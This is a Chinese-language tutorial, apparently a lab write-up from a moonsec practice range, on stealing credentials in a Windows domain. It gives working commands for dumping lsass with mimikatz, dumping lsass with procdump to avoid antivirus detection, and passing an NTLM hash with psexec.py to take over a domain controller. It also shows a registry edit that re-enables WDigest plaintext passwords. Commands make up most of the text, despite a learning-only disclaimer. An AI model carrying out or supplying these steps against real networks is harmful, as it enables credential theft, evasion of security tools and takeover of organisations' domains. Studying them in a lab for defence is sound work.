域渗透高权限读取本地密码

文中主要讲解内网域环境，通过学习掌握域环境，更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅，文中内容全由个人理解编制，若有错处，大佬勿喷，个人学艺不精；本文中提到的任何技术都源自于靶场练习，仅供学习参考，请勿利用文章内的相关技术从事非法测试，如因产生的一切不良后果与文章作者无关。

高权限读取本地密码

原理：

当域管理员在域成员机器上登录进行工作的时候，会将明文密码保存在本地进行的lsass.exe，可以通过mimikatz来读取到本地的明文密码。

建立IPC，获取域控权限：

假设域控已经登陆域成员机器：

mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt #使用mimikatz导出密码hash

当我们获取NTLM的hash,可以放到cmd5网站上进行解密：

建立IPC连接：

net use \\10.10.10.142\IPC$ /u:administrator QWEasd123

如果我们hash无法解密，则可以在使用脚本利用hash进行登陆，从而控制域控：

python3 psexec.py -hashes 00000000:42e2656ec24331269f82160ff5962387 ./Administrator@10.10.10.142

这里同样可以使用wimexec脚本：

使用procdump工具配合mimikatz获取明文：

当域管理上面存在杀软，我们上传mimikatz是会被杀掉，所以就可以使用procdump这款工具将lsass.exe里面的信息导出来，然后放到本地去进行分析，最终等到明文密码：
因为这款工具是微软研发的工具，所以一般不会被查杀：

procdump64.exe -accepteula -ma lsass.exe lsass.dmp 
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

使用修改注册表方法配合mimikatz，获取明文：

修改注册表：

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改成功后，利用powershell脚本进行锁屏，当域控再次登陆域成员主机时，就可以使用mimikatz抓取明文密码：
这里大致的效果就和上面一样，所以就不过多操作：